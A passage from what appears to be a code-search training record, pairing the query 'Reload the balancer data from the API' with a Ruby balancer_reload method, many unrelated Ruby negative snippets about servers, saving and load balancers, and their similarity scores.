DNS to settle - must sleep\n sleep 120\n run_script(\"backup\", server)\n end", "def clone_broker_instances!\n broker_list = get_role_list :broker\n [:mqserver, :dbserver].each do |clone_role|\n set_role_list clone_role, broker_list.map{ |i| Installer::HostInstance.new(clone_role, { 'host' => i.host, 'ssh_host' => i.ssh_host, 'user' => i.user, 'ip_addr' => i.ip_addr, 'ip_interface' => i.ip_interface })}\n end\n save_to_disk!\n end", "def save_blasts\n for recipient in @recipients\n blast = @blast.clone()\n blast.to = recipient\n now = Time.now()\n blast.created_at = now\n blast.sent_at = now\n blast.save!\n end\n end", "def op_savea\n push vm.save(pop)\n end", "def save\n raise Fog::Errors::Error.new('Resaving an existing object may create a duplicate') if persisted?\n copy = self.dup\n copy.pre_save\n\n data = if bare_metal?\n service.create_bare_metal_server(copy.attributes).body\n else\n service.create_vm(copy.attributes).body.first\n end\n\n data.delete(\"bare_metal\")\n merge_attributes(data)\n true\n end", "def perform!\n @started_at = Time.now.utc\n\n # log!(:started)\n\n @servers.each do |server|\n server.backup!\n end\n\n rescue Exception => err\n @exception = err\n p @exception\n\n ensure\n @finished_at = Time.now.utc\n # log!(:finished)\n end", "def servers\n server_structs.each do |server|\n def server.alive?\n next_retry <= Time.now\n end\n end\n end", "def load_servers\n servers = load_config_file Constants::Filepath::SERVER\n servers.each { |server_type, servers|\n servers.each { |server|\n server[:server_type] = server_type.to_s\n @servers_map[server[:server_id]] = server\n }\n }\n end", "def _save_to_store\n self._warnings = []\n _commit_externals \n __pack.commit # TODO: need to add some error catching and roll back the external saves where needed\n end", "def save\n obj = JSON.parse(node.elements.first.content)\n fqdn = obj['fqdn'].downcase\n forbidden! unless from_system?(fqdn)\n\n id = \"system:#{fqdn}\"\n system = System.find(id) || System.new(id: id)\n system.ohai = obj\n system.save\n storage.index(system)\n System.notify_members(stream, node.from, [{'name' => fqdn}])\n send_result\n end", "def send_servers\n\t\tif @master && @sync\n\t\t\tputs \"Sincronizando lista de servidores\"\n\t\t\t# Abrimos un nuevo socket para sincronizar las listas de servidores\n\t\t\tminiSocket = TCPServer.new(@server, @port+1)\n\t\t\tminiSocket.setsockopt( Socket::SOL_SOCKET, Socket::SO_REUSEADDR, 1 )\n\t\t\tslavesNum = Connections::SERVER_IP.length - 1\n\t\t\tslavesNum.times do\n\t\t\t\tres = IO.select([miniSocket], nil, nil, 10)\n\t\t\t\tif res != nil\n\t\t\t\t\t# Aceptamos el socket\n\t\t\t\t\tslave_server = miniSocket.accept\n\t\t\t\t\t# Enviamos la lista de servidores\n\t\t\t\t\tslave_server.puts(Connections::SERVER_IP.join(\" \"))\n\t\t\t\t\t# Cerramos la conexion\n\t\t\t\t\tslave_server.close\n\t\t\t\tend\n\t\t\tend\n\t\t\tputs \"Sincronizacion terminada\"\n\t\tend\t\n\tend", "def dumpServer\n $evm.log(\"info\",\"#{@method} - Server:<#{$evm.root['miq_server'].name}> Begin Attributes\")\n $evm.root['miq_server'].attributes.sort.each { |k, v| $evm.log(\"info\", \"#{@method} - Server:<#{$evm.root['miq_server'].name}> Attributes - #{k}: #{v.inspect}\")}\n $evm.log(\"info\",\"#{@method} - Server:<#{$evm.root['miq_server'].name}> End Attributes\")\n $evm.log(\"info\", \"\")\n end", "def save_downloads\n self.downloads.each do |s|\n if s.to_be_destroyed\n s.destroy #TODO: make this handle dependent destroy?\n else\n s.save!\n end\n end\n end", "def set_servers(servers)\n servers = Array(servers)\n servers.map! do |server|\n server.is_a?(String) ? server : inspect_server(server)\n end\n super\n end", "def save\n begin\n if Seth::Config[:why_run]\n Seth::Log.warn(\"In whyrun mode, so NOT performing data bag save.\")\n else\n create\n end\n rescue Net::HTTPServerException => e\n raise e unless e.response.code == \"409\"\n end\n self\n end", "def save\n attributes = MultiJson.dump({ name: @name, linkbutton: @linkbutton })\n Huey::Request.put(\"config\", body: attributes)\n self.reload\n end", "def add_server( server )\n\t\t@servers[server.name] = server\n\t\t@server_names << server.name\n\t\t@server_names.sort! { |a,b| a.downcase <=> b.downcase }\n\t\tserver.number = @server_names.index( server.name )\n\t\tbefore = 0\n\t\t@server_names[0, server.number].each { |server_name| # iterate through all of the servers before\n\t\t\tbefore += @servers[server_name].channel_names.length + 1\n\t\t}\n\t\tshift_server_pos( server.number, 1 )\n\t\tshift_server_num( server.number, 1 )\n\t\tserver.set_position( before + 2 ) # + 2 to compensate for 0-index arrays and core being buffer 1\n\t\t@length += 1\n\tend", "def update_server(server, ec2_info)\n server[0] = ec2_info[1] # ec2_id\n server[3] = ec2_info[3] # public host\n server[4] = ec2_info[16] # public ip\n server[5] = ec2_info[4] # private host\n server[6] = ec2_info[17] # private ip\nend", "def persist_statuses\n File.write(@status_path, @statuses.to_json)\n end", "def save_branch\n @@save_branch << @@obj.current_branch\n end", "def save_heartbeat\n timestamp = Time.now.to_i\n store.zadd(\"hb:#{@client.uid}\", timestamp, [Time.now.to_s(:db), @payload].to_json)\n end", "def attach(server)\n requires :ip\n server = server.serverid if server.is_a?(Fog::Compute::Glesys::Server)\n raise Fog::Errors::Error.new(\"Ip is already attached to a server, #{serverid}\") unless serverid.nil?\n data = service.ip_add(\n :ipaddress => identity,\n :serverid => server\n ).body[\"response\"][\"details\"]\n merge_attributes data\n end", "def save_to_server!\n DownloadWorker.perform_async(self.id)\n end", "def save\n resources = if loaded?\n entries\n else\n head + tail\n end\n\n # FIXME: remove this once the mutator on the child side\n # is used to store the reference to the parent.\n relate_resources(resources)\n\n resources.concat(@orphans.to_a)\n @orphans.clear\n\n resources.all? { |r| r.save }\n end", "def server_instances(refresh=false)\n if @server_instances.nil? or refresh\n @server_instances = {}\n backend_instances.each do |key, backend|\n @server_instances = @server_instances.merge(backend.servers)\n end\n end\n @server_instances\n end", "def save_all\n return if @loading_data\n\n json_data = JSON.dump(@model.to_h)\n\n LocalStorage['volt-store'] = json_data\n end", "def backup_slaves\n @master.slaves.reject {|sl| @active_slave_weights[sl] || !sl.for_backups?}\n end", "def server_upload\n change_set_persister.buffer_into_index do |buffered_changeset_persister|\n change_set.validate(pending_uploads: change_set.pending_uploads + new_pending_uploads)\n buffered_changeset_persister.save(change_set: change_set)\n end\n ServerUploadJob.perform_later(change_set.id.to_s, new_pending_uploads.map(&:id).map(&:to_s))\n\n redirect_to ContextualPath.new(child: resource, parent_id: nil).file_manager\n end", "def persist(tenancies:)\n tenancies.each do |tenancy|\n GatewayModel.find_or_create_by!(tenancy_ref: tenancy.tenancy_ref)\n end\n end", "def save_layers()\n @layers_array.each do |layer|\n layer.map_id = self.id\n layer.init\n layer.save!\n end\n end", "def save_hashes\n @storage.save_hash_tree @hash_tree_controller.node_hashes\n end", "def save\n self.attributes =\n if persisted?\n PROXY.patch(\"#{resources_name}/#{id}\", attributes)\n else\n @persisted = true\n PROXY.post(resources_name, attributes)\n end\n end", "def update_soaplab_server(url)\n soaplab = SoaplabServer.find_by_location(url)\n data = soaplab.services_factory().values.flatten\n wsdls_from_server = data.collect{ |item| item[\"location\"]}\n registered_soaps = SoapService.find_all_by_wsdl_location(wsdls_from_server).compact\n registered_wsdls = registered_soaps.collect{|s| s.wsdl_location}\n wsdls_from_relationships = soaplab.services.collect{|service| service.latest_version.service_versionified.wsdl_location}\n wsdls_to_add = registered_wsdls - wsdls_from_relationships \n submitter = nil\n unless soaplab.services.empty?\n submitter = User.find(soaplab.services.first.submitter_id)\n end\n \n \n soaps_to_add = SoapService.find_all_by_wsdl_location(wsdls_from_server).compact\n services_to_add = soaps_to_add.collect{|s| s.service}\n puts \"server : #{url}\"\n puts \"No of relationships to add #{wsdls_to_add.length}\"\n puts wsdls_to_add\n unless wsdls_to_add.empty?\n if submitter.nil?\n submitter = User.find(SoapService.find_by_wsdl_location(wsdls_to_add.first).service.submitter_id)\n end\n soaplab.create_relationships(wsdls_to_add)\n create_tags_if_not_exist(services_to_add, submitter)\n end\n if soaplab.endpoint.nil?\n proxy_info = get_endpoint_and_name(url)\n unless proxy_info.empty?\n soaplab.endpoint = proxy_info[0] \n soaplab.name = proxy_info[1]\n soaplab.save\n end\n end\n end", "def save\n save_last_keychain_id!\n end", "def save_persist_state\n return unless @persist_file\n new_persist_options = {}\n BaseWorker.worker_classes.each do |worker_class|\n worker_class.each_config(@adapter_factory.worker_config_class) do |config_name, ignored_extended_worker_config_class, default_options|\n static_options = default_options.merge(@worker_options[config_name] || {})\n worker_config = self[config_name]\n hash = {}\n # Only store off the config values that are specifically different from default values or values set in the workers.yml file\n # Then updates to these values will be allowed w/o being hardcoded to an old default value.\n worker_config.bean_get_attributes do |attribute_info|\n if attribute_info.attribute[:config_item] && attribute_info.ancestry.size == 1\n param_name = attribute_info.ancestry[0].to_sym\n value = attribute_info.value\n hash[param_name] = value if static_options[param_name] != value\n end\n end\n new_persist_options[config_name] = hash unless hash.empty?\n end\n end\n if new_persist_options != @persist_options\n @persist_options = new_persist_options\n File.open(@persist_file, 'w') do |out|\n YAML.dump(@persist_options, out )\n end\n end\n end", "def write_host_files\n\n master.ssh(\"sudo bash -c \\\"echo '\n#auto-inserted by amatsung to allow resolving each clients hostname\n' >> /etc/hosts\\\"\")\n nodes.each do |node|\n if node.region != master.region\n node.ssh(\"sudo bash -c \\\"echo '\n#auto-inserted by amatsung to allow resolving the masters hostname\n#{master.public_ip_address} #{master.private_hostname}\n' >> /etc/hosts\\\"\")\n master.ssh(\"sudo bash -c \\\"echo '\n#{node.public_ip_address} #{node.public_hostname}\n' >> /etc/hosts\\\"\")\n end\n end\n end", "def save\n\t\t\t@dirty.each_pair do |k,p|\n\t\t\t\tp.save\n\t\t\t\t$redis.publish('rule-pipeline-'+p.game.api_key, {:identifier => p.identifier, :data => {:value => p.value_description}}.to_json) unless Rails.env.eql?(\"test\")\n\t\t\tend\n\t\t\t@object.save\n\t\t\t# Empty the dirty-cache after successful saves\n\t\t\t@dirty.clear\n\t\t\t@object.reload\n\t\tend", "def save\n Dir.chdir(@gl_admin.working_dir)\n\n #Process config file\n new_conf = @config.to_file(@confdir)\n @gl_admin.add(new_conf)\n\n #Process ssh keys\n files = list_keys(@keydir).map{|f| File.basename f}\n keys = @ssh_keys.values.map{|f| f.map {|t| t.filename}}.flatten\n\n to_remove = (files - keys).map { |f| File.join(@keydir, f)}\n @gl_admin.remove(to_remove)\n\n @ssh_keys.each_value do |key|\n key.each do |k|\n @gl_admin.add(k.to_file(@keydir))\n end\n end\n end", "def servers\n server_structs.map do |server|\n inspect_server(server)\n end\n end", "def servers\r\n @servers.values\r\n end", "def save_attached_files; end", "def save_attached_files; end", "def save_eav_attributes # :nodoc:\n eav_attributes.select { |a| a.changed? }.each do |a|\n if a.new_record?\n a.send( :write_attribute, self_key, self.id )\n end\n\n a.save!\n end\n end", "def servers\n @servers.keys\n end", "def index\n account = Account.find(params[:account_id])\n @instances = obtain_instances(account.id, account.account_regions.first.region)\n\n @servers = {}\n @instances.each do |instance|\n @servers[instance.instance_id] = Server.find_by(instance_id: instance.instance_id) || @account.servers.create(instance_id: instance.instance_id)\n end\n rescue => e\n render text: e.message\n end", "def save\n @domain.put_attributes(@key, @attributes, :replace => :all)\n end", "def save_bt_associations(version)\n @record.class.reflect_on_all_associations(:belongs_to).each do |assoc|\n save_bt_association(assoc, version)\n end\n end", "def server_attach(dbname, mode)\n #This is a stub, used for indexing\n end", "def server_reload(server)\n result = request(\n :path => \"containers/#{server.id}\",\n :expects => [200, 404]\n )\n if(result[:response].code == 200)\n result = result.get(:body, :metadata)\n server.load_data(\n :id => result[:name],\n :name => result[:name],\n :state => SERVER_STATE_MAP.fetch(result.get(:status, :status).downcase, :pending),\n :status => result.fetch(:status, :status, 'unknown').downcase,\n :addresses_private => (result.get(:status, :ips) || []).map{ |ip|\n Server::Address.new(\n :version => ip[:protocol].downcase.sub('ipv', '').to_i,\n :address => ip[:address]\n )\n },\n :image_id => 'unknown',\n :flavor_id => result.get(:profiles).first,\n :userdata => result.get(:userdata),\n :custom => Smash.new(\n :ephemeral => result[:ephemeral]\n )\n )\n else\n server.load_data(\n :id => server.id,\n :name => server.name,\n :state => :terminated,\n :status => 'terminated',\n :addresses_private => [],\n :image_id => 'none',\n :flavor_id => 'none'\n )\n end\n server.valid_state\n end", "def add_server server\n @station.add_server server\n end", "def deactivate_servers(servers)\n raise \"You have to provide at least one server\" unless servers\n options = {load_balancer_id: self.id, server_ids: servers.collect(&:id)}\n response = Profitbricks.request :deactivate_load_balancing_on_servers, options\n return true\n end", "def save_personnages\n personnages_file.write(Marshal.dump(personnages))\n update_all_data_in_file\n end", "def create\n @server = Server.new(params[:server])\n @server.tags = params[:tag_ids].map { |id| Tag.find(id) }\n\n respond_to do |format|\n if @server.save\n format.html { redirect_to servers_path, notice: 'Server was successfully created.' }\n format.json { render json: @server, status: :created, location: @server }\n else\n format.html { render action: \"new\" }\n format.json { render json: @server.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.63528025", "0.6137384", "0.604075", "0.59870017", "0.588611", "0.5863238", "0.5829961", "0.57481426", "0.5694544", "0.5691197", "0.56579214", "0.5647648", "0.5645078", "0.56164026", "0.5555861", "0.5554011", "0.54256064", "0.53953266", "0.536694", "0.53525096", "0.5339324", "0.5337051", "0.5304719", "0.5302522", "0.52773464", "0.5242973", "0.52368003", "0.5193715", "0.519277", "0.519277", "0.51702976", "0.5164542", "0.5147008", "0.51422614", "0.5131509", "0.5129726", "0.51042837", "0.5079593", "0.5058786", "0.50538254", "0.50538254", "0.5028022", "0.5026801", "0.5015841", "0.4993256", "0.49834108", "0.4977391", "0.49713874", "0.49610308", "0.49346018", "0.49344656", "0.49313578", "0.4930823", "0.49243796", "0.4920363", "0.49063185", "0.48961988", "0.48819345", "0.4863873", "0.48495823", "0.48387238", "0.483315", "0.48319027", "0.48300806", "0.48226508", "0.4822361", "0.48160133", "0.4813476", "0.48103207", "0.48103008", "0.4804414", "0.47953767", "0.479311", "0.47908637", "0.47864655", "0.4779173", "0.47703353", "0.47692353", "0.476534", "0.47538728", "0.47512555", "0.4749242", "0.47452083", "0.47441354", "0.47405136", "0.47356147", "0.473521", "0.47336024", "0.47336024", "0.47256586", "0.47236985", "0.47193033", "0.47192144", "0.4718821", "0.47187996", "0.47182867", "0.47176597", "0.47104922", "0.47080493", "0.47068527" ]
0.5179723
30
Reload the balancer data from the API
def balancer_reload(balancer) if balancer.persisted? begin load_balancer_data(balancer) rescue Miasma::Error::ApiError::RequestError => e if e.response_error_msg.include?("LoadBalancerNotFound") balancer.state = :terminated balancer.status = "terminated" balancer.valid_state else raise end end end balancer end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def perform_reload\n api.balancer_reload(self)\n end", "def reload_data\n self.class.new reinit_endpoint.do_get\n end", "def reload!\n fetch_data!\n end", "def reload\n reset\n fetch\n end", "def reload\n reset\n fetch\n end", "def reload\n resp = api_client.get(url)\n refresh(JSON.load(resp.body))\n end", "def refresh\n fetch_api_data\n self\n end", "def reload\n load_from_response(perform(:get))\n end", "def reload\n load_from_response(perform(:get))\n end", "def reload!\n get('')[self.class.api_name].each do |attr, value|\n self.send :\"#{attr}=\",value\n end\n end", "def refresh\n json = JSON(Net::HTTP.get(URI.parse(base_url)))\n unpack(json)\n end", "def refresh!\n self.data = client.get(path).data\n end", "def reload\n self.data = self.class.load_data\n self\n end", "def reload\n self.attributes = Connection.get(create_route(:get)).body['data']\n self\n end", "def reload!\n if saved?\n response = GoodData.get(uri)\n @json = response\n end\n self\n end", "def reload_data\n reset_collection_data\n reload_collection_data\n end", "def load_balancer_data(balancer = nil)\n params = Smash.new(\"Action\" => \"DescribeLoadBalancers\")\n if balancer\n params[\"LoadBalancerNames.member.1\"] = balancer.id || balancer.name\n end\n result = all_result_pages(nil, :body,\n \"DescribeLoadBalancersResponse\", \"DescribeLoadBalancersResult\",\n \"LoadBalancerDescriptions\", \"member\") do |options|\n request(\n :method => :post,\n :path => \"/\",\n :form => options.merge(params),\n )\n end\n if balancer\n health_result = all_result_pages(nil, :body,\n \"DescribeInstanceHealthResponse\", \"DescribeInstanceHealthResult\",\n \"InstanceStates\", \"member\") do |options|\n request(\n :method => :post,\n :path => \"/\",\n :form => options.merge(\n \"LoadBalancerName\" => balancer.id || balancer.name,\n \"Action\" => \"DescribeInstanceHealth\",\n ),\n )\n end\n end\n result.map do |blr|\n (balancer || Balancer.new(self)).load_data(\n Smash.new(\n :id => blr[\"LoadBalancerName\"],\n :name => blr[\"LoadBalancerName\"],\n :state => :active,\n :status => \"ACTIVE\",\n :created => blr[\"CreatedTime\"],\n :updated => blr[\"CreatedTime\"],\n :public_addresses => [\n Balancer::Address.new(\n :address => blr[\"DNSName\"],\n :version => 4,\n ),\n ],\n :servers => [blr.get(\"Instances\", \"member\")].flatten(1).compact.map { |i|\n Balancer::Server.new(self.api_for(:compute), :id => i[\"InstanceId\"])\n },\n ).merge(\n health_result.nil? ? {} : Smash.new(\n :server_states => health_result.nil? ? nil : health_result.map { |i|\n Balancer::ServerState.new(\n self.api_for(:compute),\n :id => i[\"InstanceId\"],\n :status => i[\"State\"],\n :reason => i[\"ReasonCode\"],\n :state => i[\"State\"] == \"InService\" ? :up : :down,\n )\n },\n )\n )\n ).valid_state\n end\n end", "def reload!\n unload!\n versions\n get_json\n get_map\n last_updated\n third_party_links\n mappings\n end", "def refresh\n load if changed?\n end", "def reload\n old_data = @data.dup\n self.load\n @data = old_data.merge! @data\n end", "def reload\n @new_info = {}\n read_data\n # run_callbacks_for(:after_load)\n self\n end", "def reload\n get\n end", "def reload(params: {}, headers: {})\n @data = self.class.retrieve(id, params: params, headers: headers).to_h\n self\n end", "def reload\n restart_and_ping\n end", "def refresh!\n load if changed?\n end", "def reload\n refresh\n end", "def reload\n refresh\n end", "def perform_reload\n api.bucket_reload(self)\n end", "def reload!\n @data = reload.raw\n self\n end", "def populate\n response = @connection.lbreq(\"GET\",@lbmgmthost,\"#{@lbmgmtpath}/loadbalancers/#{CloudLB.escape(@id.to_s)}\",@lbmgmtport,@lbmgmtscheme)\n CloudLB::Exception.raise_exception(response) unless response.code.to_s.match(/^20.$/)\n data = JSON.parse(response.body)['loadBalancer']\n @id = data[\"id\"]\n @name = data[\"name\"]\n @protocol = data[\"protocol\"]\n @port = data[\"port\"]\n @algorithm = data[\"algorithm\"]\n @connection_logging = data[\"connectionLogging\"][\"enabled\"]\n @status = data[\"status\"]\n @timeout = data[\"timeout\"]\n true\n end", "def refresh\n # re-download the model from the server\n set_model\n end", "def reload!\n ensure_service!\n @gapi_json = service.get_model dataset_id, model_id\n @reference = nil\n @exists = nil\n self\n end", "def reload\n answer = connection.protocol::DbReload.new(params).process(connection)\n @clusters = answer[:clusters]\n self\n end", "def refresh!\n unpack(agent.get(url))\n self\n end", "def reload_data!\n data.merge!(load_data)\n # TODO: after load hooks only run once, not every time reload_data! is called\n run_hook!(:after_load_data)\n # Chainable\n self\n end", "def refresh\n response = Clever.request :get, url\n refresh_from response[:data]\n self\n end", "def refresh_from_api\n\n data = {}\n unless item_id.blank?\n begin\n data = JSON.parse(api.item(item_id).body, :symbolize_names => true)\n rescue\n data = {}\n end\n end\n\n if !data[:status] && data[:id]\n self.item_id = data[:id].to_i\n self.level = data[:itemLevel].to_i\n self.name = data[:name]\n self.icon = data[:icon]\n self.price = data[:buyPrice].to_i\n self.sell_price = data[:sellPrice].to_i\n self.quality = data[:quality].to_i\n end\n\n save\n\n end", "def reload!\n @client = EspSdk::Api.new(@options)\n 'Reloaded!'\n end", "def reload\n end", "def reload\n do_url 'reload', :put\n end", "def reload\n @items = nil\n\n attributes = self.class.client.get_list(id: id)\n initialize(attributes)\n\n self\n end", "def reload(request, response)\n @roundhouse.load(@cfg)\n give_X(response, 200, \"text/plain\", \"Reloading..\")\n end", "def update\n url = single_url\n payload = attributes_to_payload\n payload[:reset_data] = true\n to_server url, payload\n end", "def reload\n self.replace( CouchDB.get( uri ) )\n end", "def reload\n self.raw_data = self.class.find(app_id: app_id, build_id: id).raw_data\n end", "def reload!\n load force: true\n end", "def refresh\n update_databases()\n render json: {message: \"Information will be updated shortly\"}, status: :ok\n end", "def reload\n @reloaded = true\n restart\n end", "def reload_data\n puts \"Refreshing data now...\".cyan\n sleep(2)\n CovidTracking::Summary.reset\n CovidTracking::CountrySummary.reset\n self.data_loader.reset\n program_run\n end", "def refresh\n @data = read_data\n end", "def reload\n\t\tself.request( :reload )\n\tend", "def perform_reload\n api.group_reload(self)\n end", "def refresh_data\n raise NotImplementedError\n end", "def reload!\n end", "def reload!\n if data = self.class.load(job_id, job_class)\n @data = data\n end\n self\n end", "def reload\n end", "def reload\n end", "def reload\n end", "def reload\n end", "def reload\n end", "def reload\n end", "def reload\n end", "def attempt_refresh_gauges\n refresh_gauges\n end", "def perform_reload\n api.stack_reload(self)\n end", "def reload\n self.replace( CouchSpring.get( uri ) )\n end", "def reload\n end", "def reload\n end", "def refresh!\n update_attributes(\n books: update_data,\n books_count: update_data.length\n )\n end", "def reload\n restart\n end", "def reload\n return if new_record?\n refresh\n end", "def reload\n self\n end", "def reload\n current_options = executed_requests['GET']['options'] rescue {}\n stale!\n self.load(current_options.merge(:reload => true))\n end", "def refresh\n do_refresh\n end", "def refresh\n do_refresh\n end", "def refresh\n set_attributes\n end", "def perform_reload\n api.stack_plan_reload(self)\n end", "def reload_haproxy\n info \"Reloading haproxy: '#{@reload_cmd}'\"\n\n if @pretend\n @pretend_reloads += 1\n else\n info `#{@reload_cmd}`\n end\n end", "def load_all!\n Log.info \"Loading #{self} list\"\n old_objs = @objs_list || {}\n @objs_list = {}\n each_api_item do |api_hsh|\n params = api_hsh_to_params(api_hsh)\n if obj = old_objs[params[:id]] then obj.update! params\n else obj = self.new(params) end\n register obj\n end\n Log.info \"Loaded list of #{@objs_list.length} #{self}s\"\n @objs_list\n end", "def refresh\n # FIXME\n end", "def refresh\n update_attributes_from_id(@id)\n end", "def refresh\n @deserialized_values = {}\n super\n end", "def reload!\n @vehicles = nil\n end", "def reload!\n ensure_service!\n @gapi = zone.service.get_change @zone.id, id\n end", "def reload\n proxy_owner.queues(true)\n end", "def refresh\n end", "def reloaders; end", "def reloaders; end", "def refresh\n # logger.debug(\"refreshing registration #{to_param}\")\n self.last_all_fetch = nil\n self.last_day_fetch = nil\n self.save!\n end", "def refresh\n end", "def refresh\n end", "def refresh; end", "def reload!\n @reloader.reload! if @reloader\n end", "def reload\n reset\n to_a\n self\n end", "def reload!\n new_instance = instance(_id)\n update_instance_variables!(\n :public_addresses => new_instance.public_addresses,\n :private_addresses => new_instance.private_addresses,\n :state => new_instance.state\n )\n end", "def refresh\r\n end", "def refresh\n do_refresh\n self\n end", "def reload\n handle_response SurveyGizmo.get(handle_route(:get)) do\n if _response.ok?\n self.attributes = _response.data\n clean!\n else\n false\n end\n end\n end", "def reload\n requires :instance, :identity\n\n data = collection.get(self.instance, self.identity)\n merge_attributes(data.attributes)\n self\n end", "def reload\n raise 'not implemented'\n end", "def reload_items\n @item_data = nil\n end" ]
[ "0.7836738", "0.73334336", "0.7310872", "0.72407776", "0.72407776", "0.7109553", "0.70301884", "0.6807721", "0.6807721", "0.6764059", "0.6615204", "0.66087914", "0.6599976", "0.6550208", "0.6515741", "0.64577997", "0.6422918", "0.63764524", "0.63609815", "0.63409334", "0.63238037", "0.6256023", "0.62219113", "0.6204429", "0.62033266", "0.61895996", "0.61895996", "0.6185457", "0.6166023", "0.61541146", "0.61487186", "0.6124258", "0.60668254", "0.60653377", "0.6045825", "0.6034964", "0.6023335", "0.60213554", "0.6016567", "0.6002747", "0.599348", "0.59841186", "0.5984013", "0.5983179", "0.59702384", "0.59633803", "0.59633136", "0.59344906", "0.59315854", "0.5896645", "0.5896381", "0.5866303", "0.5862759", "0.58481896", "0.5840067", "0.5832084", "0.5832084", "0.5832084", "0.5832084", "0.5832084", "0.5832084", "0.5832084", "0.58167595", "0.58126867", "0.5808954", "0.57983375", "0.57983375", "0.5779394", "0.57730204", "0.5770279", "0.5768299", "0.57472616", "0.5747189", "0.5747189", "0.5712367", "0.57120955", "0.57100075", "0.5709381", "0.5708099", "0.57076347", "0.57060665", "0.5703308", "0.5700244", "0.5689627", "0.5680984", "0.5655531", "0.5655531", "0.5655013", "0.5649634", "0.5649634", "0.5648336", "0.562565", "0.5622171", "0.5613567", "0.5612067", "0.5611379", "0.5606983", "0.56025404", "0.56007063", "0.5597707" ]
0.7354195
1
Fetch balancers or update provided balancer data
def load_balancer_data(balancer = nil) params = Smash.new("Action" => "DescribeLoadBalancers") if balancer params["LoadBalancerNames.member.1"] = balancer.id || balancer.name end result = all_result_pages(nil, :body, "DescribeLoadBalancersResponse", "DescribeLoadBalancersResult", "LoadBalancerDescriptions", "member") do |options| request( :method => :post, :path => "/", :form => options.merge(params), ) end if balancer health_result = all_result_pages(nil, :body, "DescribeInstanceHealthResponse", "DescribeInstanceHealthResult", "InstanceStates", "member") do |options| request( :method => :post, :path => "/", :form => options.merge( "LoadBalancerName" => balancer.id || balancer.name, "Action" => "DescribeInstanceHealth", ), ) end end result.map do |blr| (balancer || Balancer.new(self)).load_data( Smash.new( :id => blr["LoadBalancerName"], :name => blr["LoadBalancerName"], :state => :active, :status => "ACTIVE", :created => blr["CreatedTime"], :updated => blr["CreatedTime"], :public_addresses => [ Balancer::Address.new( :address => blr["DNSName"], :version => 4, ), ], :servers => [blr.get("Instances", "member")].flatten(1).compact.map { |i| Balancer::Server.new(self.api_for(:compute), :id => i["InstanceId"]) }, ).merge( health_result.nil? ? {} : Smash.new( :server_states => health_result.nil? ? nil : health_result.map { |i| Balancer::ServerState.new( self.api_for(:compute), :id => i["InstanceId"], :status => i["State"], :reason => i["ReasonCode"], :state => i["State"] == "InService" ? :up : :down, ) }, ) ) ).valid_state end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def balancer_reload(balancer)\n if balancer.persisted?\n begin\n load_balancer_data(balancer)\n rescue Miasma::Error::ApiError::RequestError => e\n if e.response_error_msg.include?(\"LoadBalancerNotFound\")\n balancer.state = :terminated\n balancer.status = \"terminated\"\n balancer.valid_state\n else\n raise\n end\n end\n end\n balancer\n end", "def perform_reload\n api.balancer_reload(self)\n end", "def fetch_balances\n\n SaasApi::OnBoarding::FetchBalances.new.perform(client_id: @client_id, balances_to_fetch: @balances_to_fetch)\n\n end", "def set_cabinet_balancer\n @cabinet_balancer = Balancer.find(params[:id])\n end", "def update\n @loadbalancer = Loadbalancer.find(params[:id])\n checkaccountobject(\"loadbalancers\",@loadbalancer)\n respond_to do |format|\n if @loadbalancer.update_attributes(params[:loadbalancer])\n format.html { redirect_to @loadbalancer, notice: 'Loadbalancer was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @loadbalancer.errors, status: :unprocessable_entity }\n end\n end\n end", "def populate\n response = @connection.lbreq(\"GET\",@lbmgmthost,\"#{@lbmgmtpath}/loadbalancers/#{CloudLB.escape(@id.to_s)}\",@lbmgmtport,@lbmgmtscheme)\n CloudLB::Exception.raise_exception(response) unless response.code.to_s.match(/^20.$/)\n data = JSON.parse(response.body)['loadBalancer']\n @id = data[\"id\"]\n @name = data[\"name\"]\n @protocol = data[\"protocol\"]\n @port = data[\"port\"]\n @algorithm = data[\"algorithm\"]\n @connection_logging = data[\"connectionLogging\"][\"enabled\"]\n @status = data[\"status\"]\n @timeout = data[\"timeout\"]\n true\n end", "def update!(**args)\n @address_pools = args[:address_pools] if args.key?(:address_pools)\n @load_balancer_node_pool_config = args[:load_balancer_node_pool_config] if args.key?(:load_balancer_node_pool_config)\n end", "def balancer_all(options = {})\n load_balancer_data\n end", "def load_balancer # rubocop:disable AbcSize\n raise 'Can not determine hostname to load client for' if @new_resource.f5.nil?\n @@load_balancers ||= []\n add_lb(@new_resource.f5) if @@load_balancers.empty?\n add_lb(@new_resource.f5) if @@load_balancers.find { |lb| lb.name == @new_resource.f5 }.nil?\n @@load_balancers.find { |lb| lb.name == @new_resource.f5 }\n end", "def index\n @cabinet_balancers = Balancer.all\n end", "def update\n respond_to do |format|\n if @cabinet_balancer.update(create_params)\n format.html { redirect_to cabinet_balancers_path, notice: I18n.t('updated') }\n format.json { render :show, status: :ok, location: @cabinet_balancer }\n else\n format.html { render :edit }\n format.json { render json: @cabinet_balancer.errors, status: :unprocessable_entity }\n end\n end\n end", "def balancer\n @balancer ||= RightSupport::Net::RequestBalancer.new(@@hostnames,\n :policy=>RightSupport::Net::Balancing::StickyPolicy)\n end", "def perform_save\n api.balancer_save(self)\n end", "def fetch_from_ec2_loadbalancer\n instances_for_deploy = []\n loadbalancer lb_webserver, :web\n instances_for_deploy\nend", "def fetch_from_ec2_loadbalancer\n instances_for_deploy = []\n loadbalancer lb_webserver, :web\n instances_for_deploy\nend", "def balancer(*args)\n request = ::Hbase::BalancerUtils.create_balance_request(args)\n @admin.balance(request)\n end", "def calculate_update(name, details, condition)\n to_update = []\n\n # loop over the individual load balancers\n details.each do |lbd|\n # make sure this LB is in a safe state to mutate\n unless safe?(lbd, condition)\n raise LBUnsafe, \"#{lbd[:name]} LB unsafe for draining\"\n end\n\n # loop over the registered nodes to find the ID\n # of the one we want to update the condition of\n lbd[:nodes].each do |lbn|\n to_update << { lb_id: lbd[:id], node_id: lbn[:id], condition: condition } if lbn[:name] == name\n end\n end\n\n to_update\n end", "def attach_to_elbs(instance:, load_balancers:)\n check_arguments(instance: instance, load_balancers: load_balancers)\n\n if load_balancers.empty?\n log(\"No load balancers to attach to\")\n return {}\n end\n\n @lb_wait_params = []\n registered_instances = {} # return this\n\n load_balancers.each do |lb|\n params = {\n load_balancer_name: lb.load_balancer_name,\n instances: [{ instance_id: 